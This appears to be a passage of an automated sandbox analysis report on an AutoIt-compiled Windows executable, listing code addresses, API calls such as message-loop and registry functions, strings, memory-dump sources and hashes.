0x00d458ae
0x00d458b0
0x00000000
0x00000000
0x00d458b2
0x00d458b4
0x00d458b4
0x00d458b9
0x00d458bd
0x00d458bd
0x00d458c2
0x00000000
0x00000000
0x00d45896
0x00d4589a
0x00d4589c
0x00d4589f
0x00d4589f
0x00000000
0x00000000
0x00d45819
0x00d45807
0x00000000
0x00d45828
0x00d45760
0x00d45760
0x00d45761
0x00000000
0x00000000
0x00000000
0x00d45761
0x00000000
0x00000000
0x00000000
0x00d45703
0x00d45703
0x00d45706
0x00d45708
0x00d4570b
0x00d45717
0x00d45717
0x00d45717
0x00000000
0x00d45717
0x00d4570d
0x00d45710
0x00000000
0x00000000
0x00d45712
0x00000000
0x00d45718
0x00d45718
0x00d4571b
0x00d4571b
0x00d45722
0x00d45726
0x00000000
0x00d458f4
0x00d458fd
0x00d45902
0x00d45908
0x00d45909
0x00d4590d
0x00d45911
0x00d45911
0x00000000
0x00d456e9
0x00d4556f
0x00d4556f
0x00d45572
0x00d45576
0x00d45576
0x00d45579
0x00d4557d
0x00d45580
0x00d45585
0x00000000
0x00000000
0x00d45587
0x00d4558b
0x00d4558e
0x00d4558e
0x00d45592
0x00d45597
0x00d455ac
0x00d455af
0x00d455b1
0x00d455b4
0x00000000
0x00000000
0x00d455b6
0x00d455b9
0x00d45645
0x00d4565c
0x00000000
0x00d4565c
0x00000000
0x00d455b9
0x00d455a0
0x00d455a2
0x00000000
0x00000000
0x00d455a8
0x00000000
0x00d455bf
0x00d455bf
0x00d455c3
0x00d455c4
0x00d455c4
0x00d455cb
0x00d455cf
0x00d455cf
0x00d455d3
0x00d455d4
0x00d455d9
0x00d455ff
0x00d45608
0x00d45611
0x00d45612
0x00d45616
0x00d4561b
0x00d4561e
0x00d45622
0x00d45626
0x00d45629
0x00d456ba
0x00d456be
0x00000000
0x00d456be
0x00d4562f
0x00d45576
0x00d45579
0x00d4557d
0x00d45580
0x00d45585
0x00000000
0x00000000
0x00000000
0x00d45585
0x00d455db
0x00d455df
0x00d455e0
0x00d455e0
0x00d455e2
0x00d455e5
0x00d455e9
0x00d455ed
0x00000000
0x00000000
0x00d455ef
0x00d455ef
0x00d45642
0x00d45642
0x00d455e5
0x00d455e9
0x00d455ed
0x00000000
0x00000000
0x00000000
0x00d455f2
0x00d455f2
0x00d455f6
0x00d45638
0x00d4563c
0x00000000
0x00000000
0x00d4563e
0x00d45640
0x00d455fb
0x00d455fb
0x00000000
0x00d455fb
0x00000000
0x00d45640
0x00d455f8
0x00d455f8
0x00d455f9
0x00000000
0x00000000
0x00000000
0x00d455f9
0x00d455e2
0x00d45576
0x00d10d3a
0x00d10d41
0x00d45b2c
0x00d45b33
0x00000000
0x00000000
0x00d45b40
0x00d45b45
0x00d45b52
0x00d45b57
0x00d45b59
0x00000000
0x00000000
0x00d45b5f
0x00d45b67
0x00000000
0x00000000
0x00d45b78
0x00d45b7a
0x00d45b7c
0x00000000
0x00000000
0x00d45b85
0x00d45b90
0x00d45b9b
0x00d45ba6
0x00d45bbe
0x00d45bc9
0x00d45bd0
0x00d45bec
0x00d45bf8
0x00d45bfd
0x00d45c0f
0x00d45c1b
0x00d45c22
0x00d45c27
0x00d45c2e
0x00000000
0x00d45c2e
0x00d45c38
0x00d45c3f
0x00d45c3f
0x00d10d47
0x00d10d47
0x00d10d50
0x00d45c51
0x00d45c57
0x00d45c5b
0x00d45c60
0x00000000
0x00000000
0x00d45c71
0x00d45c7d
0x00d45c87
0x00d45ca6
0x00d45ca6
0x00d45cb1
0x00d45cb3
0x00d11098
0x00d11098
0x00d1109f
0x00000000
0x00d1109f
0x00d10d59
0x00d10fdd
0x00d10fdf
0x00d10fe5
0x00d10fec
0x00d1100f
0x00d1100f
0x00d11015
0x00d11018
0x00000000
0x00000000
0x00d45e04
0x00d45e07
0x00d45e0a
0x00000000
0x00d45e10
0x00d45e10
0x00000000
0x00d45e42
0x00d45e44
0x00000000
0x00000000
0x00d45e2b
0x00d45e2d
0x00000000
0x00000000
0x00d45e17
0x00d45e19
0x00d45e49
0x00d45e49
0x00d45e4b
0x00d45e4d
0x00000000
0x00000000
0x00000000
0x00000000
0x00d45e20
0x00d45e22
0x00d45e32
0x00d45e32
0x00d45e34
0x00d45e36
0x00d45e4f
0x00d45e5b
0x00d45e5d
0x00d45e62
0x00d45e67
0x00d45e75
0x00d45e77
0x00d45e7c
0x00d45e7e
0x00d45e7e
0x00000000
0x00000000
0x00d45e84
0x00d45e86
0x00d45f01
0x00d45f01
0x00d45f07
0x00d45f0e
0x00d45f18
0x00000000
0x00d45f18
0x00d45e88
0x00d45e88
0x00d45e8e
0x00d45e91
0x00d45e98
0x00d45ea5
0x00d45eb0
0x00d45ebb
0x00d45ec8
0x00d45ed6
0x00d45ee4
0x00d45eee
0x00d45ef0
0x00d45efc
0x00000000
0x00d45efc
0x00d45e93
0x00d45e96
0x00000000
0x00000000
0x00000000
0x00d45e96
0x00d45e38
0x00000000
0x00000000
0x00000000
0x00000000
0x00d45e10
0x00000000
0x00d45e0a
0x00d10fee
0x00d10ff4
0x00d10ff9
0x00d10ffb
0x00000000
0x00000000
0x00d10ffd
0x00d1108f
0x00d1108f
0x00d11096
0x00d11103
0x00000000
0x00d11103
0x00000000
0x00d11096
0x00d11003
0x00d11009
0x00000000
0x00000000
0x00000000
0x00d11009
0x00d10d62
0x00d45f24
0x00d45f2a
0x00d45f31
0x00d45f5f
0x00d45f5f
0x00d45f65
0x00d45f67
0x00d45f6c
0x00d45f70
0x00d45f73
0x00d45f9d
0x00d45fa0
0x00000000
0x00000000
0x00d45fa6
0x00d45fa6
0x00d45fac
0x00d45fb1
0x00d45fb5
0x00d45fb7
0x00d45fff
0x00d45fff
0x00d46006
0x00d4603a
0x00d4603a
0x00d4603c
0x00d46008
0x00d46008
0x00d4600c
0x00d46010
0x00d46012
0x00d46014
0x00d46014
0x00d4601a
0x00d46022
0x00d46029
0x00d4602b
0x00d4602b
0x00d46047
0x00d4604e
0x00d46058
0x00000000
0x00d46058
0x00d45fbf
0x00d45fc5
0x00d45fcd
0x00d45fe5
0x00d45feb
0x00d45ff1
0x00d45ff5
0x00000000
0x00d45ff5
0x00d45fdd
0x00d45fdf
0x00000000
0x00000000
0x00000000
0x00d45fdf
0x00d45f7a
0x00d45f80
0x00d45f84
0x00d45f89
0x00d45f8c
0x00d45f91
0x00000000
0x00000000
0x00d45f97
0x00000000
0x00d45f97
0x00d45f33
0x00d45f39
0x00d45f3e
0x00d45f40
0x00000000
0x00000000
0x00d45f42
0x00d45f4c
0x00d45f4c
0x00d45f52
0x00d45f54
0x00d45c8e
0x00d45c94
0x00d45c94
0x00d45c9e
0x00000000
0x00d45c9e
0x00d45f44
0x00d45f4a
0x00000000
0x00000000
0x00000000
0x00d10d71
0x00d10d74
0x00000000
0x00d10d95
0x00d10d95
0x00d10d98
0x00d10d9b
0x00d10da1
0x00d10da7
0x00d45df5
0x00d45df5
0x00000000
0x00d10db5
0x00d10db8
0x00d10dbe
0x00000000
0x00000000
0x00d10dc7
0x00d10dce
0x00d10dd2
0x00d10dd6
0x00d10dda
0x00d10ddc
0x00d10de0
0x00d10de4
0x00d10de8
0x00d10dee
0x00d10ec8
0x00d10ecb
0x00d10eda
0x00d10edb
0x00d10ede
0x00d45d14
0x00d45d23
0x00d10f06
0x00d10f06
0x00d10f08
0x00d10e00
0x00d10e00
0x00d10e06
0x00d10f46
0x00d10f4b
0x00d10f4e
0x00d45d4b
0x00d45d56
0x00d45d5b
0x00d45d5b
0x00d10f55
0x00d10f5a
0x00d10f5d
0x00d10f5d
0x00d10e0c
0x00d10e10
0x00d10e14
0x00d10e18
0x00d10e1b
0x00d110e9
0x00d110ec
0x00d110ef
0x00000000
0x00000000
0x00d110f5
0x00000000
0x00d45d85
0x00d45d87
0x00d45d8e
0x00d45d90
0x00d45d90
0x00000000
0x00000000
0x00000000
0x00000000
0x00d45d63
0x00d45d65
0x00000000
0x00000000
0x00d45d6b
0x00d45d6c
0x00d45d72
0x00000000
0x00000000
0x00d45d78
0x00d45d7a
0x00000000
0x00000000
0x00d45d80
0x00000000
0x00000000
0x00d45d9d
0x00d45da5
0x00000000
0x00000000
0x00d45dab
0x00d45dad
0x00d45db4
0x00d45db6
0x00d45db6
0x00000000
0x00000000
0x00d45dd5
0x00d45dd7
0x00000000
0x00000000
0x00d45ddd
0x00d45ddf
0x00d45ddf
0x00d45de4
0x00d45de8
0x00d45de8
0x00d45ded
0x00000000
0x00000000
0x00d45dc0
0x00d45dc2
0x00d45dc9
0x00d45dcb
0x00d45dcb
0x00000000
0x00000000
0x00d110f5
0x00d10e21
0x00d10e21
0x00d10e29
0x00000000
0x00d10e29
0x00d10f15
0x00d10f18
0x00d10f1d
0x00000000
0x00000000
0x00d45d36
0x00d45d3b
0x00d45d3f
0x00000000
0x00d45d3f
0x00d10ee4
0x00d10eeb
0x00000000
0x00d10f01
0x00000000
0x00000000
0x00d10f28
0x00d10f2c
0x00d10f34
0x00d10f3c
0x00000000
0x00000000
0x00d45cbd
0x00d45cc8
0x00d45cca
0x00d45ccf
0x00d45cd1
0x00d45cf6
0x00d45d02
0x00d45d06
0x00d45d0a
0x00000000
0x00d45d0a
0x00d45cd3
0x00d45cd7
0x00d45ce3
0x00d45ce8
0x00d45cec
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00d10eeb
0x00d10ed0
0x00000000
0x00d10ed0
0x00d10dfb
0x00000000
0x00d10dfb
0x00d10da7
0x00d10d74
0x00d10c7e
0x00d10c7e
0x00d10c85
0x00d10c8d
0x00d10c9d
0x00d10ca8
0x00d10ca8
0x00d10cb2
0x00d10cba
0x00d10cc1
0x00d10cc3
0x00d10cc8
0x00d10ccd
0x00d10cd2
0x00d110fc
0x00d10cd8
0x00d10cd8
0x00d10cd8
0x00d10cde
0x00d10cf0
0x00d452da
0x00d452e6
0x00d452e9
0x00d452ee
0x00d452f3
0x00d452f8
0x00d452fa
0x00d452fd
0x00d452ff
0x00d452ff
0x00d45304
0x00d4530c
0x00d45316
0x00000000
0x00d4531c
0x00d45323
0x00d45326
0x00d4532b
0x00d4532d
0x00d4532f
0x00000000
0x00000000
0x00d45339
0x00d45341
0x00d45349
0x00d45351
0x00d45369
0x00d45374
0x00d45378
0x00d45391
0x00d4539d
0x00d453a6
0x00d453be
0x00d453c9
0x00d453cd
0x00d453e6
0x00d453f2
0x00d453fb
0x00d45413
0x00d4541e
0x00d45422
0x00d4543b
0x00d45447
0x00d4544c
0x00d4545e
0x00d45467
0x00d4546e
0x00d45473
0x00d4547a
0x00000000
0x00d4547a
0x00d45316
0x00d10d04
0x00d45484
0x00d4548b
0x00d454a0
0x00d454a0
0x00d454a2
0x00d454a2
0x00000000
0x00d454a2
0x00d4548d
0x00d45494
0x00000000
0x00000000
0x00d45496
0x00d4549c
0x00000000
0x00d4549c
0x00d10d0a
0x00d10d0a
0x00d10d11
0x00d10d13
0x00d10d1c
0x00d10d25
0x00d10d2a
0x00d10d2a
0x00d10d13
0x00000000
0x00d10c85
0x00d10c10
0x00d10c10
0x00d10c1c
0x00d10c23
0x00d10c2b
0x00000000
0x00d10c30
0x00d10c32
0x00000000
0x00d10c38
0x00d10c38
0x00d10c38
0x00d10c38
0x00d10c40
0x00d10c40
0x00d10c40
0x00d10c42
0x00d10c42
0x00d10c42
0x00d10c48
0x00000000
0x00000000
0x00d10eb4
0x00d10eb6
0x00d10eba
0x00d452cd
0x00d452d0
0x00d10c40
0x00d10c40
0x00000000
0x00d10c40
0x00d10ec0
0x00d10ec0
0x00d10c4e
0x00d10c52
0x00d10c5b
0x00000000
0x00d10c61
0x00d10c61
0x00d10c61
0x00000000
0x00d10c61
0x00d10c5b
0x00d10e6b
0x00d10e6b
0x00d10e6d
0x00d10e71
0x00d10eac
0x00d10eac
0x00000000
0x00d10eac
0x00d10e73
0x00d10e76
0x00d10e7c
0x00d10e7e
0x00d10e80
0x00d10e82
0x00d10e88
0x00d452b8
0x00d452be
0x00d10e97
0x00d10e97
0x00d10e99
0x00d10e9b
0x00000000
0x00000000
0x00d10e9d
0x00d110ae
0x00d110ae
0x00d110bc
0x00d110c1
0x00d110cc
0x00d110d3
0x00d110d9
0x00d110e0
0x00000000
0x00d110e0
0x00d10ea3
0x00d10ea6
0x00000000
0x00000000
0x00000000
0x00d10ea6
0x00d10e96
0x00d10e96
0x00000000
0x00d10e96
0x00d10e8e
0x00d10e94
0x00000000
0x00000000
0x00000000
0x00d10e94
0x00d10c05
0x00d45147
0x00d10ba5
0x00d4514c
0x00d45153
0x00000000
0x00000000
0x00d45159
0x00d10bbf
0x00d10f70
0x00d10f70
0x00d10f78
0x00000000
0x00000000
0x00d10f7e
0x00d10f84
0x00d10f87
0x00d4515e
0x00d45164
0x00d4519c
0x00d4519c
0x00000000
0x00d4519c
0x00d45166
0x00d4516b
0x00d4516e
0x00d45170
0x00d45172
0x00000000
0x00000000
0x00d45174
0x00d45178
0x00000000
0x00000000
0x00d45189
0x00d4518f
0x00d45191
0x00d10fa3
0x00d10fb5
0x00d10fb7
0x00000000
0x00000000
0x00000000
0x00d10fbd
0x00d45197
0x00d10f8d
0x00d10f94
0x00d10f9a
0x00d10f9f
0x00d10fa1
0x00d10fc7
0x00d10fd5
0x00d10fd5
0x00000000
0x00d10fa1
0x00d451ab
0x00d451b2
0x00d451b2
0x00d10bc5
0x00d10bcc
0x00d451c1
0x00d451c8
0x00d451cf
0x00d451cf
0x00d10bd9
0x00d46063
0x00d46068
0x00d46078
0x00000000
0x00d10bdf
0x00d10bdf
0x00000000
0x00d10bdf
0x00d10bd9
0x00000000
0x00d10b7f

APIs

PeekMessageW.USER32 ref: 00D10BBB
timeGetTime.WINMM ref: 00D10E76
PeekMessageW.USER32 ref: 00D10FB3
TranslateMessage.USER32(?), ref: 00D10FC7
DispatchMessageW.USER32 ref: 00D10FD5
Sleep.KERNEL32(0000000A), ref: 00D10FDF
LockWindowUpdate.USER32(00000000,?,?), ref: 00D1105A
DestroyWindow.USER32 ref: 00D11066
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D11080
Sleep.KERNEL32(0000000A,?,?), ref: 00D452AD
TranslateMessage.USER32(?), ref: 00D4608A
DispatchMessageW.USER32 ref: 00D46098
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D460AC

Strings

@GUI_CTRLHANDLE, xrefs: 00D4540E
@COM_EVENTOBJ, xrefs: 00D4591A
@GUI_WINHANDLE, xrefs: 00D453B9
@GUI_CTRLID, xrefs: 00D45364
@TRAY_ID, xrefs: 00D45BB9

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: Message$DispatchPeekSleepTranslateWindow$DestroyLockTimeUpdatetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
API String ID: 4003667617-3242690629
Opcode ID: 1112aefae94a65168ad3e6aa5e24b48e1f915cf14aefbd26a51a8b5847bf9233
Instruction ID: d6a3c616f54c3f4f5b2016ba4a65c55e15a79b942488d91dd01c7bf75a9bb8bf
Opcode Fuzzy Hash: 1112aefae94a65168ad3e6aa5e24b48e1f915cf14aefbd26a51a8b5847bf9233
Instruction Fuzzy Hash: 85B28F70608741DBD724DF24D885BAABBE5FF84304F18491DF58A97292DB71E884CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 00D071EB, Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D04864: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,00D072BA,?,?,?,?,00D0108C,?), ref: 00D04882

Part of subcall function 00D2074F: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,00D072C5,?,?,?,?,00D0108C,?), ref: 00D20771

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\,?,?,?,?,00D0108C,?), ref: 00D07308
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?,?,?,?,?,00D0108C,?), ref: 00D3ECF1
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000,?,?,?,?,00D0108C,?), ref: 00D3ED32
RegCloseKey.ADVAPI32(?,?,?,?,?,00D0108C,?), ref: 00D3ED70
_wcscat.LIBCMT ref: 00D3EDC9

Strings

Software\AutoIt v3\AutoIt, xrefs: 00D072FE
Include, xrefs: 00D3ECE8, 00D3ED29
\, xrefs: 00D3EDEC
\Include\, xrefs: 00D072C5

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: 7dcc4f9e1266e475bfc342fd908689ce7508a45808c8622fa1cc8f54249d2025
Instruction ID: fdf074494fabb8459db2aa093816869a9f3dea1110ac4fa978f0637119dee7fd
Opcode Fuzzy Hash: 7dcc4f9e1266e475bfc342fd908689ce7508a45808c8622fa1cc8f54249d2025
Instruction Fuzzy Hash: 94713871509302AEC714EF25E881AABFBA8FF58350F44452EF459C72A0EB309949CF75

Uniqueness

Uniqueness Score: -1.00%

Function 00D09997, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 00D099C2
__swprintf.LIBCMT ref: 00D09A0C
__i64tow.LIBCMT ref: 00D3FA0F

Strings

False, xrefs: 00D3F9D7
%.15g, xrefs: 00D09A06
0x%p, xrefs: 00D3F9F1
True, xrefs: 00D3F9D0

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: ec74bf2e952c59c65429e784e55dabc71f6f6c542e4531262889b835adf1ada0
Instruction ID: 3b7be00cce431fae5c17c4fcef95279574c0e74acf6e143603af35f46395e4c7
Opcode Fuzzy Hash: ec74bf2e952c59c65429e784e55dabc71f6f6c542e4531262889b835adf1ada0
Instruction Fuzzy Hash: 1D41A271A04219AEDB249B38E842F7AB7E8EF44314F24446EE58DD72D2EA71D9418F31

Uniqueness

Uniqueness Score: -1.00%

Function 00D035B0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,00D035A1,SwapMouseButtons,00000004,?), ref: 00D035D4
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,00D035A1,SwapMouseButtons,00000004,?,?,?,?,00D02754), ref: 00D035F5
RegCloseKey.KERNELBASE(00000000,?,?,00D035A1,SwapMouseButtons,00000004,?,?,?,?,00D02754), ref: 00D03617

Strings

Control Panel\Mouse, xrefs: 00D035D2

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: f07f8f617ccb2142ca5a9d9de81aeaab773508ff883cf0b619df1082929c6042
Instruction ID: 333a9b3d03525c072871ad61b5a0e6277f35ec69a48cf6f67ee612a8178e94ce
Opcode Fuzzy Hash: f07f8f617ccb2142ca5a9d9de81aeaab773508ff883cf0b619df1082929c6042
Instruction Fuzzy Hash: FE115771610208BFDB208F64DC80EAEBBBCEF04740F548469F809D7250E6729F40ABB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D0F8CF, Relevance: 4.7, APIs: 3, Instructions: 168comCOMMON

Download Yara Rule

APIs

Part of subcall function 00D203A2: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00D203D3
Part of subcall function 00D203A2: MapVirtualKeyW.USER32(00000010,00000000), ref: 00D203DB
Part of subcall function 00D203A2: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00D203E6
Part of subcall function 00D203A2: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00D203F1
Part of subcall function 00D203A2: MapVirtualKeyW.USER32(00000011,00000000), ref: 00D203F9
Part of subcall function 00D203A2: MapVirtualKeyW.USER32(00000012,00000000), ref: 00D20401

Part of subcall function 00D16259: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,00D0FA90), ref: 00D162B4

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00D0FB2D
OleInitialize.OLE32(00000000), ref: 00D0FBAA
CloseHandle.KERNEL32(00000000), ref: 00D449F2

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: aebc65ec872251b110b3bce83276ae6fdc65e54b0ddd1b5af983e943049d8b65
Instruction ID: f91761f007aa6cdc4ccb6284c644993ba1724a30b6e773e172c28e7ef8915d15
Opcode Fuzzy Hash: aebc65ec872251b110b3bce83276ae6fdc65e54b0ddd1b5af983e943049d8b65
Instruction Fuzzy Hash: 0E8194B090C3839EC788EF69E954E157AE4EB98708324892EE019C73A6EB75C405CF31

Uniqueness

Uniqueness Score: -1.00%

Function 00D20FF6, Relevance: 4.5, APIs: 3, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00D2100E

Part of subcall function 00D2594C: __FF_MSGBANNER.LIBCMT ref: 00D25963
Part of subcall function 00D2594C: __NMSG_WRITE.LIBCMT ref: 00D2596A
Part of subcall function 00D2594C: RtlAllocateHeap.NTDLL(01080000,00000000,00000001,00000000,?,?,?,00D21013,?), ref: 00D2598F

std::exception::exception.LIBCMT ref: 00D2102C
__CxxThrowException@8.LIBCMT ref: 00D21041

Part of subcall function 00D287DB: RaiseException.KERNEL32(?,?,?,00DBBAF8,00000000,?,?,?,?,00D21046,?,00DBBAF8,?,00000001), ref: 00D28830

Part of subcall function 00D28711: _free.LIBCMT ref: 00D287BE

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_free_mallocstd::exception::exception
String ID:
API String ID: 3712093317-0
Opcode ID: f91e02aaed3ceef6ea3aa9222fe690b3fe063c95d6dcb6e1c8b7af5465cb89db
Instruction ID: f3ada91e889f4aaa287f7e0b24138e53056428d1a525d2e8e8d64f3419bd2a0b
Opcode Fuzzy Hash: f91e02aaed3ceef6ea3aa9222fe690b3fe063c95d6dcb6e1c8b7af5465cb89db
Instruction Fuzzy Hash: D1F0CD3950137DB6CB20BA54FD05AEF7BACDF30359F144425F80496691EFB18A8496F0

Uniqueness

Uniqueness Score: -1.00%

Function 00D664FF, Relevance: 3.2, APIs: 2, Instructions: 216COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00D665D3
_memmove.LIBCMT ref: 00D665F1

Part of subcall function 00D6675A: _memmove.LIBCMT ref: 00D667E8

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: cf3fb0e40b1d011c78764e110bbb2e1bc444e29685298106b4dc6793493084e7
Instruction ID: b91a3b777c730b3f31d03ca1afe5e8ca05ff474e1f7e68cd95e444246bc716dd
Opcode Fuzzy Hash: cf3fb0e40b1d011c78764e110bbb2e1bc444e29685298106b4dc6793493084e7
Instruction Fuzzy Hash: F371D0702002049FCB24DF18D959BBAB7A5EF84328F28855DE8DA5B792DB35EC41CB70

Uniqueness

Uniqueness Score: -1.00%

Function 00D67A3D, Relevance: 3.1, APIs: 2, Instructions: 133COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00D67B65

Part of subcall function 00D20FF6: _malloc.LIBCMT ref: 00D2100E

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: _malloc_memmove
String ID:
API String ID: 1183979061-0
Opcode ID: 0f8b3dd154a6ddb88bc3ea339ddf3b0a63a795db837ac9f76aa5ab571ec7733f
Instruction ID: 4eef58391b6bdcf40896bc9e2f8dc85c02920583bf03912bd7bb9360d83cd7c5
Opcode Fuzzy Hash: 0f8b3dd154a6ddb88bc3ea339ddf3b0a63a795db837ac9f76aa5ab571ec7733f
Instruction Fuzzy Hash: D841857154820D9BDB20DFACE985E6EB7A8FF18308B284559E58997282EE71D9018B70

Uniqueness

Uniqueness Score: -1.00%

Function 00D232DF, Relevance: 3.0, APIs: 2, Instructions: 7COMMON

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 00D232E5

Part of subcall function 00D232AB: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,?,00D232EA,00000000,?,00D29EFE,000000FF,0000001E,00DBBE28,00000008,00D29E62,00000000,00000000), ref: 00D232BA
Part of subcall function 00D232AB: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00D232CC

ExitProcess.KERNEL32 ref: 00D232EE

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 738b0272a61b1621b38ff27283e5105035429f5bab0e2762098003d848b75530
Instruction ID: 1e8f3dfbbf4a56bae764e0d35d8fd15369a87f1ddf73eca398e33a523f90f33b
Opcode Fuzzy Hash: 738b0272a61b1621b38ff27283e5105035429f5bab0e2762098003d848b75530
